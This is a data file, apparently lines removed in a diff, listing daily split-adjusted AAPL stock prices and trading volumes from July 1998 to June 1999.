-1998-07-02,1.0602678060531616,1.0736607313156128,1.0357142686843872,1.0357142686843872,0.8990421295166016,74527600.0,AAPL
-1998-07-06,1.0535714626312256,1.0848214626312256,1.0401785373687744,1.0848214626312256,0.9416689872741699,67737600.0,AAPL
-1998-07-07,1.0848214626312256,1.1026785373687744,1.0714285373687744,1.0892857313156128,0.945544421672821,60368000.0,AAPL
-1998-07-08,1.0982142686843872,1.1763392686843872,1.0959821939468384,1.1629464626312256,1.0094852447509766,233203600.0,AAPL
-1998-07-09,1.1763392686843872,1.2008928060531616,1.1227678060531616,1.1316964626312256,0.9823589324951172,141652000.0,AAPL
-1998-07-10,1.1495535373687744,1.1651785373687744,1.1339285373687744,1.1450892686843872,0.9939846396446228,75630800.0,AAPL
-1998-07-13,1.140625,1.21875,1.1383928060531616,1.2120535373687744,1.052112102508545,178847200.0,AAPL
-1998-07-14,1.2120535373687744,1.2142857313156128,1.1830357313156128,1.1941964626312256,1.036611557006836,137132800.0,AAPL
-1998-07-15,1.203125,1.2388392686843872,1.1964285373687744,1.2299107313156128,1.067612886428833,148741600.0,AAPL
-1998-07-16,1.3526785373687744,1.3616071939468384,1.2767857313156128,1.3392857313156128,1.1625550985336304,640337600.0,AAPL
-1998-07-17,1.3303571939468384,1.3303571939468384,1.2924107313156128,1.3169642686843872,1.1431787014007568,157388000.0,AAPL
-1998-07-20,1.3058035373687744,1.3080357313156128,1.2678571939468384,1.2946428060531616,1.123802900314331,95972800.0,AAPL
-1998-07-21,1.2901785373687744,1.3214285373687744,1.2700892686843872,1.2723214626312256,1.104426622390747,82376000.0,AAPL
-1998-07-22,1.2477678060531616,1.2723214626312256,1.2232142686843872,1.25,1.0850510597229004,70182000.0,AAPL
-1998-07-23,1.2433035373687744,1.2723214626312256,1.2410714626312256,1.2477678060531616,1.083113431930542,63282800.0,AAPL
-1998-07-24,1.2633928060531616,1.2678571939468384,1.2075892686843872,1.2388392686843872,1.0753629207611084,67821600.0,AAPL
-1998-07-27,1.2232142686843872,1.2455357313156128,1.1875,1.2299107313156128,1.067612886428833,53558400.0,AAPL
-1998-07-28,1.2165178060531616,1.2366071939468384,1.1785714626312256,1.2008928060531616,1.042424201965332,56344400.0,AAPL
-1998-07-29,1.2053571939468384,1.28125,1.203125,1.2544642686843872,1.088926076889038,111930000.0,AAPL
-1998-07-30,1.2790178060531616,1.3125,1.2678571939468384,1.3035714626312256,1.1315531730651855,90574400.0,AAPL
-1998-07-31,1.3080357313156128,1.3125,1.2321428060531616,1.2366071939468384,1.0734251737594604,45777200.0,AAPL
-1998-08-03,1.2232142686843872,1.2700892686843872,1.1875,1.2544642686843872,1.088926076889038,75440400.0,AAPL
-1998-08-04,1.2678571939468384,1.2857142686843872,1.2142857313156128,1.2209821939468384,1.059862494468689,73480400.0,AAPL
-1998-08-05,1.2053571939468384,1.2857142686843872,1.1964285373687744,1.2857142686843872,1.1160523891448975,113520400.0,AAPL
-1998-08-06,1.2522321939468384,1.3169642686843872,1.2455357313156128,1.3169642686843872,1.1431787014007568,109653600.0,AAPL
-1998-08-07,1.328125,1.3348214626312256,1.2857142686843872,1.3035714626312256,1.1315531730651855,74505200.0,AAPL
-1998-08-10,1.296875,1.359375,1.2946428060531616,1.3549107313156128,1.1761178970336914,122150000.0,AAPL
-1998-08-11,1.3482142686843872,1.4642857313156128,1.3348214626312256,1.3928571939468384,1.2090569734573364,439868800.0,AAPL
-1998-08-12,1.4196428060531616,1.4620535373687744,1.41015625,1.4308035373687744,1.2419956922531128,172443600.0,AAPL
-1998-08-13,1.4263392686843872,1.4553571939468384,1.40625,1.4084821939468384,1.222619891166687,97694800.0,AAPL
-1998-08-14,1.453125,1.4553571939468384,1.4107142686843872,1.4464285373687744,1.2555590867996216,112694400.0,AAPL
-1998-08-17,1.4642857313156128,1.5290178060531616,1.4241071939468384,1.4977678060531616,1.3001234531402588,232719200.0,AAPL
-1998-08-18,1.515625,1.5491071939468384,1.5089285373687744,1.5200892686843872,1.3194992542266846,151488400.0,AAPL
-1998-08-19,1.5535714626312256,1.5625,1.4642857313156128,1.4642857313156128,1.2710593938827515,121497600.0,AAPL
-1998-08-20,1.4642857313156128,1.46875,1.4375,1.4508928060531616,1.259434461593628,97980400.0,AAPL
-1998-08-21,1.4285714626312256,1.5558035373687744,1.3928571939468384,1.5357142686843872,1.333062767982483,203344400.0,AAPL
-1998-08-24,1.5513392686843872,1.5535714626312256,1.4330357313156128,1.4709821939468384,1.2768727540969849,152544000.0,AAPL
-1998-08-25,1.5133928060531616,1.5133928060531616,1.4397321939468384,1.4575892686843872,1.265247106552124,123891600.0,AAPL
-1998-08-26,1.4241071939468384,1.46875,1.4107142686843872,1.4419642686843872,1.2516839504241943,101620400.0,AAPL
-1998-08-27,1.4017857313156128,1.4017857313156128,1.2723214626312256,1.3392857313156128,1.1625550985336304,278560800.0,AAPL
-1998-08-28,1.3258928060531616,1.375,1.21875,1.2209821939468384,1.059862494468689,233063600.0,AAPL
-1998-08-31,1.2410714626312256,1.2455357313156128,1.1071428060531616,1.1138392686843872,0.9668577909469604,217056000.0,AAPL
-1998-09-01,1.1205357313156128,1.2633928060531616,1.09375,1.21875,1.0579248666763306,217268800.0,AAPL
-1998-09-02,1.2678571939468384,1.3348214626312256,1.2589285373687744,1.2700892686843872,1.1024892330169678,210750400.0,AAPL
-1998-09-03,1.25,1.2544642686843872,1.2142857313156128,1.2366071939468384,1.0734251737594604,102438000.0,AAPL
-1998-09-04,1.2678571939468384,1.3013392686843872,1.2053571939468384,1.2544642686843872,1.088926076889038,94318000.0,AAPL
-1998-09-08,1.3571428060531616,1.3660714626312256,1.3125,1.3660714626312256,1.1858055591583252,100699200.0,AAPL
-1998-09-09,1.359375,1.3616071939468384,1.3214285373687744,1.3348214626312256,1.1586793661117554,88673200.0,AAPL
-1998-09-10,1.2946428060531616,1.3660714626312256,1.2767857313156128,1.3616071939468384,1.1819305419921875,131720400.0,AAPL
-1998-09-11,1.375,1.4151785373687744,1.3169642686843872,1.34375,1.1664296388626099,88071200.0,AAPL
-1998-09-14,1.3660714626312256,1.3861607313156128,1.3258928060531616,1.328125,1.1528666019439697,61768000.0,AAPL
-1998-09-15,1.3125,1.3772321939468384,1.3035714626312256,1.3638392686843872,1.183868169784546,108413200.0,AAPL
-1998-09-16,1.3794642686843872,1.3839285373687744,1.3214285373687744,1.3325892686843872,1.156741976737976,64719200.0,AAPL
-1998-09-17,1.2879464626312256,1.3258928060531616,1.28125,1.2857142686843872,1.1160523891448975,67323200.0,AAPL
-1998-09-18,1.2879464626312256,1.3125,1.2700892686843872,1.3125,1.1393033266067505,76269200.0,AAPL
-1998-09-21,1.2745535373687744,1.3191964626312256,1.2611607313156128,1.3191964626312256,1.1451166868209839,73967600.0,AAPL
-1998-09-22,1.3258928060531616,1.34375,1.2991071939468384,1.3214285373687744,1.1470541954040527,64484000.0,AAPL
-1998-09-23,1.3303571939468384,1.3705357313156128,1.3058035373687744,1.3683035373687744,1.187743067741394,71979600.0,AAPL
-1998-09-24,1.3526785373687744,1.4129464626312256,1.3482142686843872,1.375,1.1935560703277588,120710800.0,AAPL
-1998-09-25,1.3638392686843872,1.3995535373687744,1.34375,1.3839285373687744,1.2013064622879028,57072400.0,AAPL
-1998-09-28,1.4196428060531616,1.4352678060531616,1.3571428060531616,1.3950892686843872,1.2109944820404053,101354400.0,AAPL
-1998-09-29,1.3950892686843872,1.4285714626312256,1.3616071939468384,1.4107142686843872,1.2245575189590454,76283200.0,AAPL
-1998-09-30,1.3839285373687744,1.4017857313156128,1.3571428060531616,1.3616071939468384,1.1819305419921875,41795600.0,AAPL
-1998-10-01,1.3125,1.3571428060531616,1.2633928060531616,1.2745535373687744,1.1063646078109741,92554000.0,AAPL
-1998-10-02,1.2678571939468384,1.2946428060531616,1.21875,1.2522321939468384,1.0869885683059692,118893600.0,AAPL
-1998-10-05,1.2142857313156128,1.234375,1.125,1.1495535373687744,0.9978597164154053,137970000.0,AAPL
-1998-10-06,1.203125,1.2254464626312256,1.1607142686843872,1.1629464626312256,1.0094852447509766,99965600.0,AAPL
-1998-10-07,1.15625,1.1897321939468384,1.1383928060531616,1.140625,0.9901090860366821,118339200.0,AAPL
-1998-10-08,1.1071428060531616,1.1138392686843872,1.0178571939468384,1.1004464626312256,0.9552325010299683,172303600.0,AAPL
-1998-10-09,1.1339285373687744,1.2589285373687744,1.0982142686843872,1.2544642686843872,1.088926076889038,167059200.0,AAPL
-1998-10-12,1.3392857313156128,1.3727678060531616,1.3058035373687744,1.3370535373687744,1.1606167554855347,155724800.0,AAPL
-1998-10-13,1.359375,1.3995535373687744,1.2857142686843872,1.3839285373687744,1.2013064622879028,235407200.0,AAPL
-1998-10-14,1.4196428060531616,1.4754464626312256,1.3147321939468384,1.3348214626312256,1.1586793661117554,570004400.0,AAPL
-1998-10-15,1.2946428060531616,1.3303571939468384,1.2678571939468384,1.3080357313156128,1.1354283094406128,210168000.0,AAPL
-1998-10-16,1.3258928060531616,1.359375,1.3035714626312256,1.3102678060531616,1.1373658180236816,153890800.0,AAPL
-1998-10-19,1.3102678060531616,1.359375,1.28125,1.3392857313156128,1.1625550985336304,118944000.0,AAPL
-1998-10-20,1.3549107313156128,1.3638392686843872,1.2857142686843872,1.2879464626312256,1.1179896593093872,95522000.0,AAPL
-1998-10-21,1.3125,1.3370535373687744,1.2767857313156128,1.3258928060531616,1.1509292125701904,107654400.0,AAPL
-1998-10-22,1.3169642686843872,1.34375,1.2946428060531616,1.3125,1.1393033266067505,79343600.0,AAPL
-1998-10-23,1.3125,1.3169642686843872,1.2544642686843872,1.2678571939468384,1.100551962852478,88995200.0,AAPL
-1998-10-26,1.2879464626312256,1.3482142686843872,1.2678571939468384,1.3370535373687744,1.1606167554855347,118960800.0,AAPL
-1998-10-27,1.3571428060531616,1.390625,1.2522321939468384,1.2589285373687744,1.0928014516830444,134548400.0,AAPL
-1998-10-28,1.2589285373687744,1.3214285373687744,1.2544642686843872,1.3147321939468384,1.1412410736083984,90927200.0,AAPL
-1998-10-29,1.3013392686843872,1.3370535373687744,1.2790178060531616,1.3013392686843872,1.1296157836914062,86144800.0,AAPL
-1998-10-30,1.3147321939468384,1.3392857313156128,1.2946428060531616,1.3258928060531616,1.1509292125701904,79410800.0,AAPL
-1998-11-02,1.3392857313156128,1.3482142686843872,1.3303571939468384,1.34375,1.1664296388626099,63442400.0,AAPL
-1998-11-03,1.3348214626312256,1.3660714626312256,1.3325892686843872,1.3504464626312256,1.1722427606582642,92612800.0,AAPL
-1998-11-04,1.3772321939468384,1.3973214626312256,1.3616071939468384,1.3816964626312256,1.199368953704834,156970800.0,AAPL
-1998-11-05,1.3705357313156128,1.40625,1.359375,1.3638392686843872,1.183868169784546,151779600.0,AAPL
-1998-11-06,1.3526785373687744,1.3660714626312256,1.3303571939468384,1.359375,1.1799930334091187,199334800.0,AAPL
-1998-11-09,1.3459821939468384,1.3616071939468384,1.2678571939468384,1.3080357313156128,1.1354283094406128,165197200.0,AAPL
-1998-11-10,1.2924107313156128,1.2946428060531616,1.25,1.2544642686843872,1.088926076889038,220995600.0,AAPL
-1998-11-11,1.2767857313156128,1.2790178060531616,1.1696428060531616,1.1986607313156128,1.040486454963684,237126400.0,AAPL
-1998-11-12,1.1830357313156128,1.2299107313156128,1.1741071939468384,1.2142857313156128,1.0540496110916138,148775200.0,AAPL
-1998-11-13,1.2477678060531616,1.2879464626312256,1.2388392686843872,1.2745535373687744,1.1063646078109741,197954400.0,AAPL
-1998-11-16,1.2834821939468384,1.3125,1.265625,1.2857142686843872,1.1160523891448975,96132400.0,AAPL
-1998-11-17,1.2767857313156128,1.2790178060531616,1.2410714626312256,1.2433035373687744,1.0792380571365356,52682000.0,AAPL
-1998-11-18,1.2566964626312256,1.2857142686843872,1.2455357313156128,1.265625,1.0986140966415405,82415200.0,AAPL
-1998-11-19,1.2678571939468384,1.328125,1.265625,1.2767857313156128,1.1083024740219116,86632000.0,AAPL
-1998-11-20,1.3013392686843872,1.3125,1.2410714626312256,1.2611607313156128,1.0947387218475342,99806000.0,AAPL
-1998-11-23,1.2700892686843872,1.3147321939468384,1.2566964626312256,1.2946428060531616,1.123802900314331,144488400.0,AAPL
-1998-11-24,1.2901785373687744,1.3125,1.2767857313156128,1.2834821939468384,1.114114761352539,79937200.0,AAPL
-1998-11-25,1.28125,1.2879464626312256,1.2477678060531616,1.2544642686843872,1.088926076889038,75950000.0,AAPL
-1998-11-27,1.2522321939468384,1.2544642686843872,1.2410714626312256,1.2522321939468384,1.0869885683059692,38276000.0,AAPL
-1998-11-30,1.234375,1.2433035373687744,1.1339285373687744,1.140625,0.9901090860366821,140372400.0,AAPL
-1998-12-01,1.1428571939468384,1.2433035373687744,1.1294642686843872,1.21875,1.0579248666763306,216434400.0,AAPL
-1998-12-02,1.21875,1.3169642686843872,1.1964285373687744,1.2857142686843872,1.1160523891448975,240620800.0,AAPL
-1998-12-03,1.296875,1.3035714626312256,1.2008928060531616,1.203125,1.0443618297576904,156511600.0,AAPL
-1998-12-04,1.2254464626312256,1.2299107313156128,1.1428571939468384,1.1696428060531616,1.015297770500183,180342400.0,AAPL
-1998-12-07,1.1919642686843872,1.2053571939468384,1.1696428060531616,1.2053571939468384,1.0462990999221802,141649200.0,AAPL
-1998-12-08,1.2120535373687744,1.2120535373687744,1.1428571939468384,1.1450892686843872,0.9939846396446228,170027200.0,AAPL
-1998-12-09,1.1674107313156128,1.1741071939468384,1.1294642686843872,1.1428571939468384,0.9920467734336853,148229200.0,AAPL
-1998-12-10,1.1674107313156128,1.1763392686843872,1.1383928060531616,1.1428571939468384,0.9920467734336853,97812400.0,AAPL
-1998-12-11,1.1517857313156128,1.2142857313156128,1.1428571939468384,1.2053571939468384,1.0462990999221802,172499600.0,AAPL
-1998-12-14,1.1741071939468384,1.1897321939468384,1.1517857313156128,1.1607142686843872,1.0075472593307495,125361600.0,AAPL
-1998-12-15,1.1696428060531616,1.2008928060531616,1.1696428060531616,1.1986607313156128,1.040486454963684,66178000.0,AAPL
-1998-12-16,1.2053571939468384,1.2209821939468384,1.1651785373687744,1.171875,1.0172353982925415,93587200.0,AAPL
-1998-12-17,1.1763392686843872,1.2053571939468384,1.1696428060531616,1.1941964626312256,1.036611557006836,82653200.0,AAPL
-1998-12-18,1.1919642686843872,1.2633928060531616,1.1875,1.2566964626312256,1.090863823890686,197873200.0,AAPL
-1998-12-21,1.2633928060531616,1.2723214626312256,1.2232142686843872,1.2522321939468384,1.0869885683059692,89362000.0,AAPL
-1998-12-22,1.2991071939468384,1.3616071939468384,1.2857142686843872,1.3571428060531616,1.1780554056167603,287700000.0,AAPL
-1998-12-23,1.3794642686843872,1.4464285373687744,1.3705357313156128,1.421875,1.234245777130127,308758800.0,AAPL
-1998-12-24,1.4241071939468384,1.4285714626312256,1.3995535373687744,1.4017857313156128,1.2168073654174805,49996800.0,AAPL
-1998-12-28,1.3928571939468384,1.46875,1.3928571939468384,1.4598214626312256,1.2671843767166138,181328000.0,AAPL
-1998-12-29,1.46875,1.4821428060531616,1.4375,1.4575892686843872,1.265247106552124,96838000.0,AAPL
-1998-12-30,1.4330357313156128,1.46875,1.4285714626312256,1.4308035373687744,1.2419956922531128,59340400.0,AAPL
-1998-12-31,1.4464285373687744,1.4776785373687744,1.4107142686843872,1.4620535373687744,1.269121766090393,67922400.0,AAPL
-1999-01-04,1.5044642686843872,1.5089285373687744,1.4285714626312256,1.4732142686843872,1.2788101434707642,238221200.0,AAPL
-1999-01-05,1.4977678060531616,1.5691964626312256,1.4821428060531616,1.546875,1.3427504301071167,352528400.0,AAPL
-1999-01-06,1.5758928060531616,1.5758928060531616,1.4642857313156128,1.4910714626312256,1.2943108081817627,337142400.0,AAPL
-1999-01-07,1.5089285373687744,1.609375,1.5044642686843872,1.6071428060531616,1.3950657844543457,357254800.0,AAPL
-1999-01-08,1.6629464626312256,1.6741071939468384,1.5714285373687744,1.6071428060531616,1.3950657844543457,169708000.0,AAPL
-1999-01-11,1.6339285373687744,1.6450892686843872,1.6026785373687744,1.6383928060531616,1.4221913814544678,140243600.0,AAPL
-1999-01-12,1.6540178060531616,1.6651785373687744,1.5758928060531616,1.6473214626312256,1.4299423694610596,205184000.0,AAPL
-1999-01-13,1.53125,1.6897321939468384,1.5089285373687744,1.6607142686843872,1.4415677785873413,261954000.0,AAPL
-1999-01-14,1.625,1.6428571939468384,1.4665178060531616,1.4776785373687744,1.2826851606369019,430964800.0,AAPL
-1999-01-15,1.4933035373687744,1.5044642686843872,1.4285714626312256,1.4754464626312256,1.280747890472412,251501600.0,AAPL
-1999-01-19,1.4977678060531616,1.5111607313156128,1.4419642686843872,1.4598214626312256,1.2671843767166138,133722400.0,AAPL
-1999-01-20,1.4665178060531616,1.5,1.4464285373687744,1.4486607313156128,1.2574965953826904,194530000.0,AAPL
-1999-01-21,1.4441964626312256,1.4486607313156128,1.3392857313156128,1.3861607313156128,1.2032437324523926,150122000.0,AAPL
-1999-01-22,1.3459821939468384,1.4107142686843872,1.3236607313156128,1.3839285373687744,1.2013064622879028,86441600.0,AAPL
-1999-01-25,1.4017857313156128,1.4129464626312256,1.3861607313156128,1.40625,1.2206825017929077,96334000.0,AAPL
-1999-01-26,1.4263392686843872,1.4598214626312256,1.4151785373687744,1.4464285373687744,1.2555590867996216,140011200.0,AAPL
-1999-01-27,1.4642857313156128,1.4776785373687744,1.4263392686843872,1.4330357313156128,1.2439335584640503,91238000.0,AAPL
-1999-01-28,1.4598214626312256,1.4732142686843872,1.4397321939468384,1.4598214626312256,1.2671843767166138,84070000.0,AAPL
-1999-01-29,1.4709821939468384,1.484375,1.4285714626312256,1.4709821939468384,1.2768727540969849,60678800.0,AAPL
-1999-02-01,1.4888392686843872,1.4977678060531616,1.4397321939468384,1.4620535373687744,1.269121766090393,69728400.0,AAPL
-1999-02-02,1.4419642686843872,1.4553571939468384,1.3928571939468384,1.3995535373687744,1.2148696184158325,76790000.0,AAPL
-1999-02-03,1.3928571939468384,1.4486607313156128,1.3839285373687744,1.4352678060531616,1.2458707094192505,84686000.0,AAPL
-1999-02-04,1.4352678060531616,1.4375,1.3482142686843872,1.3526785373687744,1.1741801500320435,115945200.0,AAPL
-1999-02-05,1.3660714626312256,1.3705357313156128,1.2678571939468384,1.296875,1.1257404088974,194300400.0,AAPL
-1999-02-08,1.3102678060531616,1.3549107313156128,1.2946428060531616,1.3482142686843872,1.1703050136566162,117056800.0,AAPL
-1999-02-09,1.3549107313156128,1.3950892686843872,1.3236607313156128,1.328125,1.1528666019439697,175288400.0,AAPL
-1999-02-10,1.3169642686843872,1.3816964626312256,1.2857142686843872,1.3683035373687744,1.187743067741394,140907200.0,AAPL
-1999-02-11,1.3839285373687744,1.4196428060531616,1.3772321939468384,1.4151785373687744,1.228432297706604,141299200.0,AAPL
-1999-02-12,1.3973214626312256,1.3973214626312256,1.3214285373687744,1.3459821939468384,1.1683672666549683,107226000.0,AAPL
-1999-02-16,1.3883928060531616,1.3883928060531616,1.3526785373687744,1.3683035373687744,1.187743067741394,75056800.0,AAPL
-1999-02-17,1.3616071939468384,1.3816964626312256,1.3191964626312256,1.3214285373687744,1.1470541954040527,74015200.0,AAPL
-1999-02-18,1.3415178060531616,1.3526785373687744,1.2700892686843872,1.2857142686843872,1.1160523891448975,125042400.0,AAPL
-1999-02-19,1.2946428060531616,1.3459821939468384,1.2924107313156128,1.328125,1.1528666019439697,90423200.0,AAPL
-1999-02-22,1.3348214626312256,1.3883928060531616,1.3303571939468384,1.3727678060531616,1.1916183233261108,74667600.0,AAPL
-1999-02-23,1.3772321939468384,1.4129464626312256,1.3549107313156128,1.3727678060531616,1.1916183233261108,80544800.0,AAPL
-1999-02-24,1.3861607313156128,1.3928571939468384,1.3348214626312256,1.3370535373687744,1.1606167554855347,53188800.0,AAPL
-1999-02-25,1.3325892686843872,1.3459821939468384,1.3035714626312256,1.3191964626312256,1.1451166868209839,66150000.0,AAPL
-1999-02-26,1.3035714626312256,1.3214285373687744,1.2321428060531616,1.2433035373687744,1.0792380571365356,166812800.0,AAPL
-1999-03-01,1.2433035373687744,1.2433035373687744,1.2008928060531616,1.2053571939468384,1.0462990999221802,121956800.0,AAPL
-1999-03-02,1.21875,1.2611607313156128,1.2053571939468384,1.2366071939468384,1.0734251737594604,170763600.0,AAPL
-1999-03-03,1.2410714626312256,1.2544642686843872,1.1964285373687744,1.2209821939468384,1.059862494468689,73337600.0,AAPL
-1999-03-04,1.2321428060531616,1.2321428060531616,1.15625,1.1941964626312256,1.036611557006836,91817600.0,AAPL
-1999-03-05,1.2254464626312256,1.2254464626312256,1.15625,1.1852678060531616,1.0288609266281128,117009200.0,AAPL
-1999-03-08,1.1875,1.2388392686843872,1.1852678060531616,1.2276785373687744,1.0656752586364746,137667600.0,AAPL
-1999-03-09,1.2254464626312256,1.2276785373687744,1.1964285373687744,1.21875,1.0579248666763306,79923200.0,AAPL
-1999-03-10,1.2209821939468384,1.2209821939468384,1.1584821939468384,1.1629464626312256,1.0094852447509766,136570000.0,AAPL
-1999-03-11,1.1517857313156128,1.2098214626312256,1.1428571939468384,1.1495535373687744,0.9978597164154053,118414800.0,AAPL
-1999-03-12,1.1540178060531616,1.1964285373687744,1.1540178060531616,1.1852678060531616,1.0288609266281128,67849600.0,AAPL
-1999-03-15,1.1897321939468384,1.25,1.1875,1.2165178060531616,1.0559874773025513,88040400.0,AAPL
-1999-03-16,1.25,1.2700892686843872,1.2477678060531616,1.2678571939468384,1.100551962852478,99957200.0,AAPL
-1999-03-17,1.2834821939468384,1.2879464626312256,1.2120535373687744,1.2165178060531616,1.0559874773025513,91579600.0,AAPL
-1999-03-18,1.2276785373687744,1.2723214626312256,1.2232142686843872,1.2678571939468384,1.100551962852478,56770000.0,AAPL
-1999-03-19,1.2834821939468384,1.2857142686843872,1.1741071939468384,1.1964285373687744,1.0385488271713257,134125600.0,AAPL
-1999-03-22,1.2142857313156128,1.2566964626312256,1.1763392686843872,1.2522321939468384,1.0869885683059692,148402800.0,AAPL
-1999-03-23,1.2299107313156128,1.2299107313156128,1.1696428060531616,1.1785714626312256,1.0230480432510376,103888400.0,AAPL
-1999-03-24,1.1875,1.2053571939468384,1.1607142686843872,1.203125,1.0443618297576904,100038400.0,AAPL
-1999-03-25,1.2276785373687744,1.2455357313156128,1.1919642686843872,1.2075892686843872,1.0482368469238281,99990800.0,AAPL
-1999-03-26,1.2053571939468384,1.2075892686843872,1.1785714626312256,1.1875,1.0307984352111816,63459200.0,AAPL
-1999-03-29,1.1964285373687744,1.265625,1.1941964626312256,1.2633928060531616,1.0966768264770508,142217600.0,AAPL
-1999-03-30,1.25,1.2991071939468384,1.25,1.28125,1.1121773719787598,138630800.0,AAPL
-1999-03-31,1.2991071939468384,1.3258928060531616,1.28125,1.2834821939468384,1.114114761352539,105588000.0,AAPL
-1999-04-01,1.2879464626312256,1.3102678060531616,1.2767857313156128,1.2879464626312256,1.1179896593093872,65514400.0,AAPL
-1999-04-05,1.2857142686843872,1.3526785373687744,1.2857142686843872,1.3236607313156128,1.1489918231964111,115234000.0,AAPL
-1999-04-06,1.3147321939468384,1.3683035373687744,1.3147321939468384,1.3571428060531616,1.1780554056167603,157147200.0,AAPL
-1999-04-07,1.359375,1.3660714626312256,1.2991071939468384,1.3258928060531616,1.1509292125701904,102953200.0,AAPL
-1999-04-08,1.3169642686843872,1.3236607313156128,1.2857142686843872,1.3169642686843872,1.1431787014007568,74102000.0,AAPL
-1999-04-09,1.2946428060531616,1.3303571939468384,1.2834821939468384,1.3125,1.1393033266067505,67135600.0,AAPL
-1999-04-12,1.25,1.3169642686843872,1.2455357313156128,1.2946428060531616,1.123802900314331,98954800.0,AAPL
-1999-04-13,1.296875,1.3147321939468384,1.2321428060531616,1.2366071939468384,1.0734251737594604,103096000.0,AAPL
-1999-04-14,1.2589285373687744,1.3236607313156128,1.25,1.2689732313156128,1.1015207767486572,170256800.0,AAPL
-1999-04-15,1.2633928060531616,1.2924107313156128,1.2254464626312256,1.2767857313156128,1.1083024740219116,433619200.0,AAPL
-1999-04-16,1.28125,1.2879464626312256,1.2589285373687744,1.265625,1.0986140966415405,125554800.0,AAPL
-1999-04-19,1.2745535373687744,1.2857142686843872,1.1964285373687744,1.2098214626312256,1.050174355506897,230454000.0,AAPL
-1999-04-20,1.2098214626312256,1.2410714626312256,1.1964285373687744,1.2165178060531616,1.0559874773025513,130964400.0,AAPL
-1999-04-21,1.2142857313156128,1.2276785373687744,1.1964285373687744,1.2276785373687744,1.0656752586364746,87850000.0,AAPL
-1999-04-22,1.2522321939468384,1.3080357313156128,1.2522321939468384,1.2991071939468384,1.1276780366897583,185043600.0,AAPL
-1999-04-23,1.2946428060531616,1.4084821939468384,1.2946428060531616,1.3995535373687744,1.2148696184158325,261710400.0,AAPL
-1999-04-26,1.4107142686843872,1.4732142686843872,1.4017857313156128,1.4620535373687744,1.269121766090393,231982800.0,AAPL
-1999-04-27,1.5357142686843872,1.6361607313156128,1.5357142686843872,1.6339285373687744,1.4183167219161987,526512000.0,AAPL
-1999-04-28,1.59375,1.6316964626312256,1.5580357313156128,1.5736607313156128,1.3660017251968384,238747600.0,AAPL
-1999-04-29,1.5446428060531616,1.5848214626312256,1.4921875,1.5357142686843872,1.333062767982483,197327200.0,AAPL
-1999-04-30,1.5714285373687744,1.6830357313156128,1.5714285373687744,1.6428571939468384,1.4260669946670532,368082400.0,AAPL
-1999-05-03,1.6450892686843872,1.7857142686843872,1.6339285373687744,1.7700892686843872,1.536509394645691,367609200.0,AAPL
-1999-05-04,1.7232142686843872,1.7366071939468384,1.6495535373687744,1.6607142686843872,1.4415677785873413,202809600.0,AAPL
-1999-05-05,1.6540178060531616,1.6785714626312256,1.59375,1.6785714626312256,1.457068681716919,144824400.0,AAPL
-1999-05-06,1.6629464626312256,1.6741071939468384,1.5714285373687744,1.5892857313156128,1.379564881324768,108287200.0,AAPL
-1999-05-07,1.59375,1.6383928060531616,1.5267857313156128,1.6383928060531616,1.4221913814544678,108679200.0,AAPL
-1999-05-10,1.6696428060531616,1.6763392686843872,1.59375,1.6160714626312256,1.4028161764144897,98249200.0,AAPL
-1999-05-11,1.6026785373687744,1.6495535373687744,1.5558035373687744,1.5982142686843872,1.3873153924942017,114648800.0,AAPL
-1999-05-12,1.6026785373687744,1.6607142686843872,1.5758928060531616,1.6607142686843872,1.4415677785873413,98781200.0,AAPL
-1999-05-13,1.6584821939468384,1.671875,1.625,1.6495535373687744,1.4318797588348389,73880800.0,AAPL
-1999-05-14,1.6116071939468384,1.6361607313156128,1.5848214626312256,1.5848214626312256,1.3756897449493408,56658000.0,AAPL
-1999-05-17,1.5625,1.5959821939468384,1.5357142686843872,1.5848214626312256,1.3756897449493408,52690400.0,AAPL
-1999-05-18,1.6004464626312256,1.6428571939468384,1.5848214626312256,1.6160714626312256,1.4028161764144897,104594000.0,AAPL
-1999-05-19,1.625,1.6339285373687744,1.5535714626312256,1.6138392686843872,1.4008783102035522,74569600.0,AAPL
-1999-05-20,1.6227678060531616,1.6339285373687744,1.5178571939468384,1.5178571939468384,1.3175619840621948,104428800.0,AAPL
-1999-05-21,1.5357142686843872,1.5825892686843872,1.5200892686843872,1.5691964626312256,1.362126350402832,115796800.0,AAPL
-1999-05-24,1.5580357313156128,1.5825892686843872,1.4955357313156128,1.4977678060531616,1.3001234531402588,65231600.0,AAPL
-1999-05-25,1.484375,1.515625,1.4620535373687744,1.4821428060531616,1.2865605354309082,91627200.0,AAPL
-1999-05-26,1.4910714626312256,1.5848214626312256,1.4732142686843872,1.5736607313156128,1.3660017251968384,109387600.0,AAPL
-1999-05-27,1.5424107313156128,1.5625,1.5245535373687744,1.5535714626312256,1.34856379032135,84190400.0,AAPL
-1999-05-28,1.546875,1.5825892686843872,1.5401785373687744,1.5736607313156128,1.3660017251968384,50282400.0,AAPL
-1999-06-01,1.6071428060531616,1.6183035373687744,1.5848214626312256,1.6004464626312256,1.38925302028656,115256400.0,AAPL
-1999-06-02,1.5892857313156128,1.7120535373687744,1.5714285373687744,1.6629464626312256,1.4435055255889893,130264400.0,AAPL
-1999-06-03,1.6741071939468384,1.7142857313156128,1.671875,1.6941964626312256,1.4706315994262695,122127600.0,AAPL
-1999-06-04,1.7008928060531616,1.7209821939468384,1.6875,1.71875,1.491945505142212,92170400.0,AAPL
-1999-06-07,1.71875,1.75,1.6964285373687744,1.7477678060531616,1.5171337127685547,104571600.0,AAPL
-1999-06-08,1.7410714626312256,1.7433035373687744,1.6986607313156128,1.703125,1.478381872177124,78414000.0,AAPL
-1999-06-09,1.6941964626312256,1.7321428060531616,1.6941964626312256,1.7299107313156128,1.5016334056854248,88446400.0,AAPL
-1999-06-10,1.7098214626312256,1.7232142686843872,1.6897321939468384,1.71875,1.491945505142212,79262400.0,AAPL
-1999-06-11,1.71875,1.7321428060531616,1.6517857313156128,1.6584821939468384,1.439630389213562,46261600.0,AAPL
-1999-06-14,1.6607142686843872,1.6651785373687744,1.6116071939468384,1.6227678060531616,1.4086284637451172,39270000.0,AAPL
-1999-06-15,1.6138392686843872,1.6696428060531616,1.6116071939468384,1.6450892686843872,1.4280047416687012,32597600.0,AAPL
-1999-06-16,1.65625,1.7165178060531616,1.65625,1.7120535373687744,1.486132264137268,56254800.0,AAPL
-1999-06-17,1.7008928060531616,1.7142857313156128,1.6339285373687744,1.65625,1.4376927614212036,56100800.0,AAPL
-1999-06-18,1.6205357313156128,1.6875,1.6138392686843872,1.6830357313156128,1.4609440565109253,52015600.0,AAPL
-1999-06-21,1.6785714626312256,1.6875,1.6428571939468384,1.6607142686843872,1.4415677785873413,33787600.0,AAPL
